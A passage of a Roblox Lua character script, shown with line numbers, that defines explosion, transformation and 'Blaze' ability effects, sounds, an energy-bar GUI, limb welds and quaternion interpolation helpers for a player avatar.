  plodeza.Volume = 0.85
1314
  plodeza.Pitch = 0.65
1315
  plodeza.Looped = false
1316
  plodeza:Play()
1317
local plodezar = Instance.new("Sound",workspace)
1318
  plodezar.SoundId = "rbxassetid://197161452"
1319
  plodezar.Volume = 0.85
1320
  plodezar.Pitch = 0.25
1321
  plodezar.Looped = false
1322
  plodezar:Play()
1323
	expld.BlastRadius = rad
1324
	expld.Position = par.Position
1325
wait(0.5)
1326
        par:Destroy()
1327
  plode.Parent = nil
1328
	expart.Parent = nil
1329
	expart2.Parent = nil
1330
	expld.Parent = nil
1331
end
1332
function ExplodeMassen(rad,par)
1333
	local expart = Instance.new("Part",script.Parent)
1334
	local expart2 = Instance.new("Part",script.Parent)
1335
	local partMesh = Instance.new("SpecialMesh",expart)
1336
	partMesh.MeshType = "Sphere"
1337
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1338
	partMesh2.MeshType = "Sphere"
1339
	local expld = Instance.new("Explosion", script.Parent)
1340
local plode = Instance.new("Sound",workspace)
1341
  plode.SoundId = "rbxassetid://579687077"
1342
  plode.Volume = 1
1343
  plode.Pitch = 0.85
1344
  plode.Looped = false
1345
  plode:Play()
1346
local plodez = Instance.new("Sound",workspace)
1347
  plodez.SoundId = "rbxassetid://288641686"
1348
  plodez.Volume = 1
1349
  plodez.Pitch = 0.75
1350
  plodez.Looped = false
1351
  plodez:Play()
1352
local plodeza = Instance.new("Sound",workspace)
1353
  plodeza.SoundId = "rbxassetid://197161452"
1354
  plodeza.Volume = 0.85
1355
  plodeza.Pitch = 0.65
1356
  plodeza.Looped = false
1357
  plodeza:Play()
1358
local plodezar = Instance.new("Sound",workspace)
1359
  plodezar.SoundId = "rbxassetid://197161452"
1360
  plodezar.Volume = 0.85
1361
  plodezar.Pitch = 0.25
1362
  plodezar.Looped = false
1363
  plodezar:Play()
1364
	expld.BlastRadius = rad
1365
	expld.Position = par.Position
1366
	partMesh.Scale = vt(rad,rad,rad)
1367
	expart.Size = vt(1,1,1)*1.5
1368
	expart.Transparency = 0
1369
	expart.Anchored = true
1370
	expart.Material = "Neon"
1371
	expart.BrickColor = bc("White")
1372
	expart.CFrame = par.CFrame
1373
	partMesh2.Scale = vt(rad,rad,rad)
1374
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1375
	expart2.Transparency = 0.5
1376
	expart2.Anchored = true
1377
	expart2.Material = "Neon"
1378
	expart2.BrickColor = tors.BrickColor
1379
	expart2.CFrame = par.CFrame
1380
        local value = 1*rad/10
1381
        par:Destroy()
1382
	for i = 0, 300 do
1383
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1384
		expart.CFrame = expart.CFrame
1385
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1386
		expart2.CFrame = expart.CFrame
1387
                value = value - 0.0175*rad/10
1388
                if value <= 0 then
1389
		expart.Transparency = expart.Transparency + 0.0125
1390
		expart2.Transparency = expart2.Transparency + 0.0125
1391
                value = 0.25
1392
                end
1393
		wait()
1394
	end
1395
  plode.Parent = nil
1396
	expart.Parent = nil
1397
	expart2.Parent = nil
1398
	expld.Parent = nil
1399
end
1400
local Ultramode = false
1401
1402
function Transform()
1403
  if basiccooldown >= 5 then
1404
  hum.WalkSpeed = 0
1405
  local sparta = Instance.new("Part",workspace)
1406
local msher = Instance.new("SpecialMesh",sparta)
1407
msher.MeshType = "Sphere"
1408
msher.Scale = vt(1,1,1)
1409
wit = BrickColor.new("Really black").Color
1410
local glowz = Instance.new("ParticleEmitter")
1411
glowz.LightEmission = 1
1412
glowz.Parent = sparta
1413
glowz.Texture = "rbxassetid://284205403"
1414
glowz.Color = ColorSequence.new(wit)
1415
glowz.Size = NumberSequence.new(15)
1416
glowz.Speed = NumberRange.new(100,250)
1417
glowz.LockedToPart = false
1418
glowz.Transparency = NumberSequence.new(0.75)
1419
glowz.RotSpeed = NumberRange.new(-2000,2000)
1420
glowz.Lifetime = NumberRange.new(1)
1421
glowz.Rate = 50000
1422
glowz.VelocitySpread = 9001
1423
  local sa2 = Instance.new("Sound",sparta)
1424
  sa2.SoundId = "rbxassetid://93724183"
1425
  sa2.Pitch = 0.5
1426
  sa2.Volume = 5
1427
  sa2.Looped = false
1428
  sa2:Play()
1429
  local saz2 = Instance.new("Sound",sparta)
1430
  saz2.SoundId = "rbxassetid://199145659"
1431
  saz2.Pitch = 0.45
1432
  saz2.Volume = 5*2
1433
  saz2.Looped = false
1434
local plode = Instance.new("Sound",sparta)
1435
  plode.SoundId = "rbxassetid://153274423"
1436
  plode.Volume = 5
1437
  plode.Pitch = 1
1438
  plode.Looped = false
1439
local ploder = Instance.new("Sound",sparta)
1440
  ploder.SoundId = "rbxassetid://130972023"
1441
  ploder.Volume = 5
1442
  ploder.Pitch = 1
1443
  ploder.Looped = false
1444
  sparta.Size = vt(1,1,1)
1445
  sparta.BrickColor = BrickColor.new("Really black")
1446
  sparta.Material = "Neon"
1447
  sparta.Transparency = 0
1448
  sparta.Anchored = true
1449
  sparta.CanCollide = false
1450
  sparta.CFrame = tors.CFrame
1451
  sparta.Rotation = vt(0,0,0)
1452
  local value2 = 2
1453
  for i = 0, 24 do
1454
  value2 = value2 - 0.065
1455
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1456
  wait()
1457
  end
1458
  for i = 0, 10 do
1459
  value2 = value2 + 0.06575
1460
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1461
  wait()
1462
  end
1463
  for i = 0, 10 do
1464
  value2 = value2 - 0.2
1465
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1466
  wait()
1467
  end
1468
  for i = 0, 10 do
1469
  value2 = value2 + 0.275
1470
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1471
  wait()
1472
  end
1473
  for i = 0, 10 do
1474
  value2 = value2 - 0.4
1475
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1476
  wait()
1477
  end
1478
  for i = 0, 10 do
1479
  value2 = value2 + 0.475
1480
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1481
  wait()
1482
  end
1483
  for i = 0, 10 do
1484
  value2 = value2 - 0.6
1485
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1486
  wait()
1487
  end
1488
  for i = 0, 10 do
1489
  value2 = value2 + 0.675
1490
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1491
  wait()
1492
  end
1493
  for i = 0, 10 do
1494
  value2 = value2 - 0.7
1495
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1496
  wait()
1497
  end
1498
  for i = 0, 10 do
1499
  value2 = value2 + 0.775
1500
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1501
  wait()
1502
  end
1503
  saz2:Play()
1504
  wait(2.75)
1505
  plode:Play() 
1506
  ploder:Play()
1507
  Ultramode = true
1508
  for i = 0, 75 do
1509
  value2 = value2 - 0.0575
1510
  glowz.Rate = 0
1511
  sparta.Transparency = sparta.Transparency + 0.025
1512
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1513
  wait()
1514
  end
1515
  hum.WalkSpeed = 16
1516
  sparta:Destroy()
1517
  end
1518
end
1519
1520
1521
function Blaze2()
1522
if ultcooldown >= 30 then
1523
local sloc = Instance.new("Part",workspace)
1524
local msh = Instance.new("SpecialMesh",sloc)
1525
msh.MeshType = "Sphere"
1526
sloc.Size = vt(1,1,1)
1527
sloc.Transparency = 1
1528
sloc.BrickColor = tors.BrickColor
1529
sloc.Position = hed.Position + vt(0,0.1,0)
1530
sloc.CanCollide = false
1531
sloc.Shape = "Ball"
1532
sloc.Anchored = true
1533
sloc.Material = "Neon"
1534
  local s = Instance.new("Sound",char)
1535
  s.SoundId = "rbxassetid://289315275"
1536
  s.Pitch = 1
1537
  s.Volume = 2.75
1538
  s.Looped = false
1539
  s:Play()
1540
  local s2 = Instance.new("Sound",char)
1541
  s2.SoundId = "rbxassetid://671759140"
1542
  s2.Pitch = 0.425
1543
  s2.Volume = 1
1544
  s2.Looped = false
1545
  s2:Play()
1546
local val = 0.65*5
1547
for i = 0 , 75 do
1548
sloc.Transparency = sloc.Transparency - 0.035
1549
msh.Scale = msh.Scale + vt(val,val,val)
1550
val = val - 0.0075*5
1551
wait()
1552
end
1553
wait(2)
1554
  local sen = Instance.new("Sound",char)
1555
  sen.SoundId = "rbxassetid://289315275"
1556
  sen.Pitch = 1
1557
  sen.Volume = 2.75
1558
  sen.Looped = false
1559
  sen:Play()
1560
  local tick = Instance.new("Sound",char)
1561
  tick.SoundId = "rbxassetid://446876721"
1562
  tick.Volume = 2.5
1563
  tick.Pitch = 0.5
1564
  tick:Play()
1565
msh.Scale = msh.Scale - vt(1,1,1)
1566
sloc.Transparency = sloc.Transparency + 0.015
1567
local spart = Instance.new("Part",workspace)
1568
local msh2 = Instance.new("SpecialMesh",spart)
1569
msh2.MeshType = "Sphere"
1570
spart.Size = vt(2,2,2)
1571
spart.Shape = "Ball"
1572
spart.BrickColor = tors.BrickColor
1573
spart.Material = "Neon"
1574
spart.Transparency = 0
1575
spart.Anchored = false
1576
msh2.Scale = msh.Scale/2
1577
spart.Rotation = hed.Rotation
1578
spart.CanCollide = false
1579
spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
1580
  local bv = Instance.new("BodyVelocity")
1581
  bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
1582
  bv.velocity = mouse.Hit.lookVector * 125
1583
  bv.Parent = spart
1584
sloc:Destroy()
1585
  wait(0.00001)
1586
  pewdiepie=spart.Touched:connect(function(hit)
1587
  ExplodeMassen(100,spart)
1588
  end)
1589
wait(5)
1590
sloc:Destroy()
1591
tick:Destroy()
1592
s:Destroy()
1593
sen:Destroy()
1594
s2:Destroy()
1595
end
1596
if ultcooldown < 1 then
1597
for i = 0, 29 do
1598
ultcooldown = ultcooldown + 1
1599
wait(1)
1600
end
1601
end
1602
end
1603
1604
function Blaze()
1605
if ultcooldown >= 30 then
1606
 local ff = Instance.new("ForceField",char)
1607
  local s = Instance.new("Sound",char)
1608
  s.SoundId = "rbxassetid://289315275"
1609
  s.Pitch = 1
1610
  s.Volume = 2.75
1611
  s.Looped = false
1612
  s:Play()
1613
  local s2 = Instance.new("Sound",char)
1614
  s2.SoundId = "rbxassetid://671759140"
1615
  s2.Pitch = 0.425
1616
  s2.Volume = 1
1617
  s2.Looped = false
1618
  s2:Play()
1619
  local spart = boll:Clone()
1620
  local spart2 = shur:Clone()
1621
  local msh = Instance.new("SpecialMesh",spart)
1622
  msh.MeshType = "Sphere"
1623
  spart.Parent = workspace
1624
  spart.Transparency = 1
1625
  spart.Anchored = true
1626
  spart.Position = tors.Position + vt(0,1,0)
1627
  spart.Size = spart.Size + vt(1,1,1)
1628
  for i = 0, 10 do
1629
  spart.BrickColor = tors.BrickColor
1630
  spart.Transparency = spart.Transparency + -0.05
1631
  spart.Position = tors.Position + vt(0,1,0)
1632
  spart.Size = spart.Size + vt(3,3,3)
1633
  wait(0)
1634
  end
1635
  for i = 0, 5 do
1636
  spart.BrickColor = tors.BrickColor
1637
  spart.Transparency = spart.Transparency + -0.05
1638
  spart.Position = tors.Position + vt(0,1,0)
1639
  spart.Size = spart.Size + vt(2.5,2.5,2.5)
1640
  wait(0)
1641
  end
1642
  for i = 0, 5 do
1643
  spart.BrickColor = tors.BrickColor
1644
  spart.Transparency = spart.Transparency + -0.05
1645
  spart.Position = tors.Position + vt(0,1,0)
1646
  spart.Size = spart.Size + vt(1,1,1)
1647
  wait(0)
1648
  end
1649
  for i = 0, 10 do
1650
  spart.BrickColor = tors.BrickColor
1651
  wait(0.1)
1652
  end
1653
  for i = 0, 20 do
1654
  spart.BrickColor = tors.BrickColor
1655
  spart.Transparency = spart.Transparency + 0.05
1656
  spart.Position = tors.Position + vt(0,1,0)
1657
  spart.Size = spart.Size + vt(-5,-5,-5)
1658
  wait(0)
1659
  end
1660
  local sp = spart:Clone()
1661
  sp.Parent = workspace
1662
  sp.Position = spart.Position
1663
  local sp2 = sp:Clone()
1664
  sp2.Parent = workspace
1665
  sp2.Transparency = 0.5
1666
  local msh2 = sp2.Mesh
1667
  msh2.Scale = vt(1250,1250,1250)
1668
wit = tors.BrickColor.Color
1669
local glowz = Instance.new("ParticleEmitter")
1670
glowz.LightEmission = 0.75
1671
glowz.Parent = sp2
1672
glowz.Texture = "rbxassetid://284205403"
1673
glowz.Color = ColorSequence.new(wit)
1674
glowz.Size = NumberSequence.new(50)
1675
glowz.Speed = NumberRange.new(425,450)
1676
glowz.LockedToPart = false
1677
glowz.Transparency = NumberSequence.new(0.75)
1678
glowz.RotSpeed = NumberRange.new(-2000,2000)
1679
glowz.Lifetime = NumberRange.new(1)
1680
glowz.Rate = 50000
1681
glowz.VelocitySpread = 9001
1682
  spart2.Parent = workspace
1683
  spart2.Mesh.Scale = vt(25, 90000, 25)
1684
  spart2.Position = tors.Position
1685
local seen = Instance.new("Sound",char)
1686
seen.SoundId = "rbxassetid://445796828"
1687
seen.Pitch = 0.75
1688
seen.Volume = 1.75
1689
seen.Looped = true
1690
seen:Play()
1691
local sen = Instance.new("Sound",char)
1692
sen.SoundId = "rbxassetid://289315275"
1693
sen.Pitch = 0.98
1694
sen.Volume = 2.65
1695
sen.Looped = false
1696
sen:Play()
1697
local tick = Instance.new("Sound",char)
1698
tick.SoundId = "rbxassetid://446876721"
1699
tick.Volume = 5
1700
tick.Pitch = 0.5
1701
tick:Play()
1702
local seena = Instance.new("Sound",char)
1703
seena.SoundId = "rbxassetid://300916057"
1704
seena.Pitch = 0.5
1705
seena.Volume = 2.5
1706
seena.Looped = false
1707
seena:Play()
1708
spart.Transparency = 0
1709
  ExplodeMass(1000,sp)
1710
  for i = 0, 450 do
1711
  spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
1712
  sp2.Position = spart.Position
1713
  spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
1714
  spart2.BrickColor = tors.BrickColor
1715
  msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
1716
  msh.Scale = msh.Scale + vt(50,50,50)
1717
  sp2.Transparency = sp2.Transparency + 0.0005
1718
  spart.Transparency = spart.Transparency + 0.0025
1719
  spart2.Transparency = spart2.Transparency + 0.0025
1720
  wait(0)
1721
  end
1722
  spart:Destroy()
1723
  seena:Destroy()
1724
  ff:Destroy()
1725
  seen:Destroy()
1726
  sen:Destroy()
1727
  tick:Destroy()
1728
  spart2:Destroy()
1729
  s:Destroy()
1730
  sp:Destroy()
1731
  sp2:Destroy()
1732
  s2:Destroy()
1733
end
1734
if ultcooldown < 1 then
1735
for i = 0, 29 do
1736
ultcooldown = ultcooldown + 1
1737
wait(1)
1738
end
1739
end
1740
end
1741
1742
-- sin
1743
Player=game:GetService("Players").LocalPlayer
1744
Character=Player.Character 
1745
PlayerGui=Player.PlayerGui 
1746
Backpack=Player.Backpack 
1747
Torso=Character.Torso 
1748
Head=Character.Head 
1749
Humanoid=Character.Humanoid
1750
m=Instance.new('Model',Character)
1751
LeftArm=Character["Left Arm"] 
1752
LeftLeg=Character["Left Leg"] 
1753
RightArm=Character["Right Arm"] 
1754
RightLeg=Character["Right Leg"] 
1755
LS=Torso["Left Shoulder"] 
1756
LH=Torso["Left Hip"] 
1757
RS=Torso["Right Shoulder"] 
1758
RH=Torso["Right Hip"] 
1759
Face = Head.face
1760
Neck=Torso.Neck
1761
it=Instance.new
1762
attacktype=1
1763
vt=Vector3.new
1764
cf=CFrame.new
1765
euler=CFrame.fromEulerAnglesXYZ
1766
angles=CFrame.Angles
1767
cloaked=false
1768
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1769
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1770
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
1771
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
1772
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
1773
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
1774
RootPart=Character.HumanoidRootPart
1775
RootJoint=RootPart.RootJoint
1776
RootCF=euler(-1.57,0,3.14)
1777
attack = false 
1778
attackdebounce = false 
1779
deb=false
1780
equipped=true
1781
hand=false
1782
MMouse=nil
1783
combo=0
1784
mana=0
1785
trispeed=1
1786
pathtrans=.7
1787
attackmode='none'
1788
local idle=0
1789
local Anim="Idle"
1790
local Effects={}
1791
local gun=false
1792
local shoot=false
1793
player=nil 
1794
cloak=false
1795
lightcolor='Bright blue'
1796
1797
local Color1=BrickColor.new("Royal purple")
1798
 
1799
local fengui=it("GuiMain") 
1800
fengui.Parent=Player.PlayerGui 
1801
fengui.Name="WeaponGUI" 
1802
local fenframe=it("Frame") 
1803
fenframe.Parent=fengui
1804
fenframe.BackgroundColor3=Color3.new(255,255,255) 
1805
fenframe.BackgroundTransparency=1 
1806
fenframe.BorderColor3=Color3.new(17,17,17) 
1807
fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
1808
fenframe.Position=UDim2.new(0.4,0,0.1,0)
1809
local fenbarmana1=it("TextLabel") 
1810
fenbarmana1.Parent=fenframe 
1811
fenbarmana1.Text=" " 
1812
fenbarmana1.BackgroundTransparency=0 
1813
fenbarmana1.BackgroundColor3=Color3.new(0,0,0) 
1814
fenbarmana1.SizeConstraint="RelativeXY" 
1815
fenbarmana1.TextXAlignment="Center" 
1816
fenbarmana1.TextYAlignment="Center" 
1817
fenbarmana1.Position=UDim2.new(0,0,0,0)
1818
fenbarmana1.Size=UDim2.new(4,0,0.2,0)
1819
local fenbarmana2=it("TextLabel") 
1820
fenbarmana2.Parent=fenframe 
1821
fenbarmana2.Text=" " 
1822
fenbarmana2.BackgroundTransparency=0 
1823
fenbarmana2.BackgroundColor3=Torso.Color
1824
fenbarmana2.SizeConstraint="RelativeXY" 
1825
fenbarmana2.TextXAlignment="Center" 
1826
fenbarmana2.TextYAlignment="Center" 
1827
fenbarmana2.Position=UDim2.new(0,0,0,0)
1828
fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
1829
local fenbarmana3=it("TextLabel") 
1830
fenbarmana3.Parent=fenframe 
1831
fenbarmana3.Text=" " 
1832
fenbarmana3.BackgroundTransparency=0 
1833
fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
1834
fenbarmana3.SizeConstraint="RelativeXY" 
1835
fenbarmana3.TextXAlignment="Center" 
1836
fenbarmana3.TextYAlignment="Center" 
1837
fenbarmana3.Position=UDim2.new(0,0,0,0)
1838
fenbarmana3.Size=UDim2.new(0,0,0.2,0)
1839
local fenbarmana4=it("TextLabel") 
1840
fenbarmana4.Parent=fenframe 
1841
fenbarmana4.Text="Energy("..mana..")"
1842
fenbarmana4.BackgroundTransparency=1 
1843
fenbarmana4.BackgroundColor3=Color3.new(0,0,0) 
1844
fenbarmana4.SizeConstraint="RelativeXY" 
1845
fenbarmana4.TextXAlignment="Center" 
1846
fenbarmana4.TextYAlignment="Center" 
1847
fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
1848
fenbarmana4.Size=UDim2.new(4,0,0.2,0)
1849
fenbarmana4.FontSize="Size9"
1850
fenbarmana4.TextStrokeTransparency=0
1851
fenbarmana4.TextColor=BrickColor.new("White")
1852
1853
mouse=Player:GetMouse()
1854
--save shoulders 
1855
RSH, LSH=nil, nil 
1856
--welds 
1857
RW, LW=Instance.new("Weld"), Instance.new("Weld") 
1858
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
1859
LH=Torso["Left Hip"]
1860
RH=Torso["Right Hip"]
1861
TorsoColor=BrickColor.new("Royal purple")
1862
function NoOutline(Part)
1863
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
1864
end
1865
player=Player 
1866
ch=Character
1867
RSH=ch.Torso["Right Shoulder"] 
1868
LSH=ch.Torso["Left Shoulder"] 
1869
-- 
1870
RSH.Parent=nil 
1871
LSH.Parent=nil 
1872
-- 
1873
RW.Name="Right Shoulder"
1874
RW.Part0=ch.Torso 
1875
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
1876
RW.C1=cf(0, 0.5, 0) 
1877
RW.Part1=ch["Right Arm"] 
1878
RW.Parent=ch.Torso 
1879
-- 
1880
LW.Name="Left Shoulder"
1881
LW.Part0=ch.Torso 
1882
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
1883
LW.C1=cf(0, 0.5, 0) 
1884
LW.Part1=ch["Left Arm"] 
1885
LW.Parent=ch.Torso 
1886
1887
1888
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
1889
local fp=it("Part")
1890
fp.formFactor=formfactor 
1891
fp.Parent=parent
1892
fp.Reflectance=reflectance
1893
fp.Transparency=transparency
1894
fp.CanCollide=false 
1895
fp.Locked=true
1896
fp.BrickColor=brickcolor
1897
fp.Name=name
1898
fp.Size=size
1899
fp.Position=Torso.Position 
1900
NoOutline(fp)
1901
fp.Material="Neon"
1902
fp:BreakJoints()
1903
return fp 
1904
end 
1905
 
1906
function mesh(Mesh,part,meshtype,meshid,offset,scale)
1907
local mesh=it(Mesh) 
1908
mesh.Parent=part
1909
if Mesh=="SpecialMesh" then
1910
mesh.MeshType=meshtype
1911
if meshid~="nil" then
1912
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
1913
end
1914
end
1915
mesh.Offset=offset
1916
mesh.Scale=scale
1917
return mesh
1918
end
1919
 
1920
function weld(parent,part0,part1,c0)
1921
local weld=it("Weld") 
1922
weld.Parent=parent
1923
weld.Part0=part0 
1924
weld.Part1=part1 
1925
weld.C0=c0
1926
return weld
1927
end
1928
 
1929
local Color1=BrickColor.new("Royal purple")
1930
1931
local bodvel=Instance.new("BodyVelocity")
1932
local bg=Instance.new("BodyGyro")
1933
1934
function swait(num)
1935
if num==0 or num==nil then
1936
game:service'RunService'.Stepped:wait(0)
1937
else
1938
for i=0,num do
1939
game:service'RunService'.Stepped:wait(0)
1940
end
1941
end
1942
end
1943
 
1944
 
1945
so = function(id,par,vol,pit) 
1946
coroutine.resume(coroutine.create(function()
1947
local sou = Instance.new("Sound",par or workspace)
1948
sou.Volume=vol
1949
sou.Pitch=pit or 1
1950
sou.SoundId=id
1951
swait() 
1952
sou:play() 
1953
game:GetService("Debris"):AddItem(sou,6)
1954
end))
1955
end
1956
 
1957
function clerp(a,b,t) 
1958
local qa = {QuaternionFromCFrame(a)}
1959
local qb = {QuaternionFromCFrame(b)} 
1960
local ax, ay, az = a.x, a.y, a.z 
1961
local bx, by, bz = b.x, b.y, b.z
1962
local _t = 1-t
1963
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
1964
end 
1965
 
1966
function QuaternionFromCFrame(cf) 
1967
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
1968
local trace = m00 + m11 + m22 
1969
if trace > 0 then 
1970
local s = math.sqrt(1 + trace) 
1971
local recip = 0.5/s 
1972
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
1973
else 
1974
local i = 0 
1975
if m11 > m00 then
1976
i = 1
1977
end
1978
if m22 > (i == 0 and m00 or m11) then 
1979
i = 2 
1980
end 
1981
if i == 0 then 
1982
local s = math.sqrt(m00-m11-m22+1) 
1983
local recip = 0.5/s 
1984
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
1985
elseif i == 1 then 
1986
local s = math.sqrt(m11-m22-m00+1) 
1987
local recip = 0.5/s 
1988
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
1989
elseif i == 2 then 
1990
local s = math.sqrt(m22-m00-m11+1) 
1991
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
1992
end 
1993
end 
1994
end
1995
 
1996
function QuaternionToCFrame(px, py, pz, x, y, z, w) 
1997
local xs, ys, zs = x + x, y + y, z + z 
1998
local wx, wy, wz = w*xs, w*ys, w*zs 
1999
local xx = x*xs 
2000
local xy = x*ys 
2001
local xz = x*zs 
2002
local yy = y*ys 
2003
local yz = y*zs 
2004
local zz = z*zs 
2005
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
2006
end
2007
 
2008
function QuaternionSlerp(a, b, t) 
2009
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
2010
local startInterp, finishInterp; 
2011
if cosTheta >= 0.0001 then 
2012
if (1 - cosTheta) > 0.0001 then 
2013
local theta = math.acos(cosTheta) 
2014
local invSinTheta = 1/math.sin(theta) 
2015
startInterp = math.sin((1-t)*theta)*invSinTheta 
2016
finishInterp = math.sin(t*theta)*invSinTheta  
2017
else 
2018
startInterp = 1-t 
2019
finishInterp = t 
2020
end 
2021
else 
2022
if (1+cosTheta) > 0.0001 then 
2023
local theta = math.acos(-cosTheta) 
2024
local invSinTheta = 1/math.sin(theta) 
2025
startInterp = math.sin((t-1)*theta)*invSinTheta 
2026
finishInterp = math.sin(t*theta)*invSinTheta 
2027
else 
2028
startInterp = t-1 
2029
finishInterp = t 
2030
end 
2031
end 
2032
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
2033
end
2034
2035
function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
2036
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
2037
end 
2038
2039
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
2040
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2041
prt.Anchored=true
2042
prt.CFrame=cframe
2043
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
2044
--http://www.roblox.com/asset/?id=4770560
2045
game:GetService("Debris"):AddItem(prt,2)
2046
CF=prt.CFrame
2047
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) 
2048
for i=0,1,0.2 do
2049
wait()
2050
Part.CFrame=CF*cf(0,0,-0.4)
2051
end
2052
for i=0,1,delay do
2053
wait()
2054
--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
2055
Mesh.Scale=Mesh.Scale
2056
end
2057
for i=0,1,0.1 do
2058
wait()
2059
Part.Transparency=i
2060
end
2061
Part.Parent=nil
2062
end),prt,msh,CF)
2063
end
2064
 
2065
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2066
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2067
prt.Anchored=true
2068
prt.CFrame=cframe
2069
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2070
game:GetService("Debris"):AddItem(prt,5)
2071
coroutine.resume(coroutine.create(function(Part,Mesh) 
2072
for i=0,1,delay do
2073
wait()
2074
Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2075
Part.Transparency=i
2076
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2077
end
2078
Part.Parent=nil
2079
end),prt,msh)
2080
end
2081
 
2082
function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2083
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2084
prt.Anchored=false
2085
prt.CFrame=cframe
2086
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2087
local wld=weld(prt,prt,Parent,cframe)
2088
game:GetService("Debris"):AddItem(prt,5)
2089
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2090
for i=0,1,delay do
2091
wait()
2092
Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
2093
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2094
Part.Transparency=i
2095
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2096
end
2097
Part.Parent=nil
2098
end),prt,msh,wld)
2099
end
2100
 
2101
function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2102
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2103
prt.Anchored=false
2104
prt.CFrame=cframe
2105
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2106
local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
2107
game:GetService("Debris"):AddItem(prt,5)
2108
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2109
for i=0,1,delay do
2110
wait()
2111
Weld.C0=euler(i*20,0,0)
2112
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2113
Part.Transparency=i
2114
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2115
end
2116
Part.Parent=nil
2117
end),prt,msh,wld)
2118
end
2119
 
2120
function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2121
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
